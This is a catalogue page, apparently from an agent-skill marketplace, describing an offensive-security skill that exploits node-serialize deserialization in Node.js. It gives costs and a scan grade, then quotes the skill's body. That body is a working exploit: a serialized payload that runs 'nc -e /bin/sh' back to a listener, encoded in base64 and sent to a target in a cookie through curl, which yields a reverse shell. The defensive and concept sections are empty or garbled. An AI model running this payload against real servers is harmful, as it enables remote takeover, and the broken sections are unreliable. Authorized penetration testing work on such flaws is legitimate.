Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/nodejs-deserialization-rceWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/nodejs-deserialization-rce)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/nodejs-deserialization-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/nodejs-deserialization-rce/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/nodejs-deserialization-rce"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/nodejs-deserialization-rce.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01495 |
| Opus 5.5 | $0.00022 | $0.00598 |
| Sonnet 5.5 | $0.00011 | $0.00299 |
| Haiku 4.5 | $0.00006 | $0.00150 |
Grade A, and why
nodejs-deserialization-rce scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
# 2. Send the Payload curl -X GET http://target.com/profile -b "profile=eyJyY2UiOiJfJCRORF9GVU5DJSRfZnVuY3Rpb24oKSB7IHJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCduYyAtZSAvYmluL3NoIDEwLjAuMC41IDQ0NDQnKTsgfSgpIn0=" Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
require('child_process').exec('nc -e /bin/sh 10.0.0.5 4444'); How it starts
The opening of the file, as written. The whole thing — 141 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Node.js Deserialization RCE (node-serialize)
When to Use
- When auditing a Node.js web application that accepts base64 or JSON encoded payloads in cookies, HTTP headers, or POST bodies and passes them directly to
unserialize()or similar dangerous functions natively. - To demonstrate how seemingly safe JSON structures uniquely can organically harbor malicious executable JavaScript when libraries like
node-serializeor historically vulnerable versions ofserialize-javascriptare utilized Workflow
Phase 1: Understanding Node.js Serialization (The Concept)
# Concept: Unlike standard `JSON.parse()` limiting intuitively data `node-serialize` 1. Normal JSON.parse() JSON 2. `node-serialize` var serialize = require('node-serialize');
var obj = {
say: function() { return 'Hello'; }
};
console.log(serialize.serialize(obj));
# Output: {"say":"_$$ND_FUNC$$_function() { return 'Hello'; }"}
Phase 2: Identifying the Vulnerability
# 1. Look for Cookies Example Cookie Cookie: profile=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpIHsgcmV0dXJuICdCb2InOyB9In0=
# 2. Decode the Base64 { "username": "_$$ND_FUNC$$_function() { return 'Bob'; }" }
Phase 3: Crafting the RCE Payload (The IIFE)
# Concept: 1. The Malicious Function var payload = {
rce: function() {
require('child_process').exec('nc -e /bin/sh 10.0.0.5 4444');
}
};
# 2. Serialize {"rce":"_$$ND_FUNC$$_function() {\n require('child_process').exec('nc -e /bin/sh 10.0.0.5 4444');\n }"}
# 3. Add the IIFE '()' THIS IS CRITICAL {"rce":"_$$ND_FUNC$$_function() { require('child_process').exec('nc -e /bin/sh 10.0.0.5 4444'); }()"}
# 4. Base64 Encode eyJyY2UiOiJfJCRORF9GVU5DJSRfZnVuY3Rpb24oKSB7IHJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCduYyAtZSAvYmluL3NoIDEwLjAuMC41IDQ0NDQnKTsgfSgpIn0=
Phase 4: Execution
# 1. Start netcat listener gracefully
nc -lvnp 4444
# 2. Send the Payload curl -X GET http://target.com/profile -b "profile=eyJyY2UiOiJfJCRORF9GVU5DJSRfZnVuY3Rpb24oKSB7IHJlcXVpcmUoJ2NoaWxkX3Byb2Nlc3MnKS5leGVjKCduYyAtZSAvYmluL3NoIDEwLjAuMC41IDQ0NDQnKTsgfSgpIn0="
# 3. Receive Shell connection ```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Identify Base64 ] --> B[Decode ]
B --> C{Does }
C -->|Yes| D[Inject ]
C -->|No| E[Move ]
D --> F[Achieve ]
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
🔵 Blue Team Detection & Defense
- **Do ****Content Key Concepts
| Concept | Description |
|---------|-------------|
|
node-serialize| |
Output Format
Nodejs Deserialization Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 141 lines · 55 tokens per session scan A 51c18eff0b30
nodejs-deserialization-rce is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (25 stars, last pushed 7mo ago), licensed Apache-2.0. It adds 55 tokens to every session and 1,495 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
nodejs-deserialization-rce compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| nodejs-deserialization-rceakashrpatil/awesome-offensive-security-skills | Skill | 25 | 7mo ago | Apache-2.0 | A | 55 | Claude Code |
| javascript-prototype-pollutionShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | A | 55 | Claude Code, Codex |
| command-injection-os-levelShulkwiSEC/bb-huge | Skill | 27 | 4mo ago | MIT | C | 58 | Claude Code, Codex |
| prisma-8prisma/orm | Skill | 48k | today | Apache-2.0 | A | 216 | Claude Code, Codex |
| nestjsericrisco/rsc-harness | Skill | 691 | 5d ago | MIT | A | 81 | Claude Code, Codex |
| nodejsericrisco/rsc-harness | Skill | 691 | 5d ago | MIT | A | 77 | Claude Code, Codex |
| webiny-api-cms-content-modelswebiny/webiny-js | Skill | 8.1k | today | none | A | 313 | Claude Code, Codex |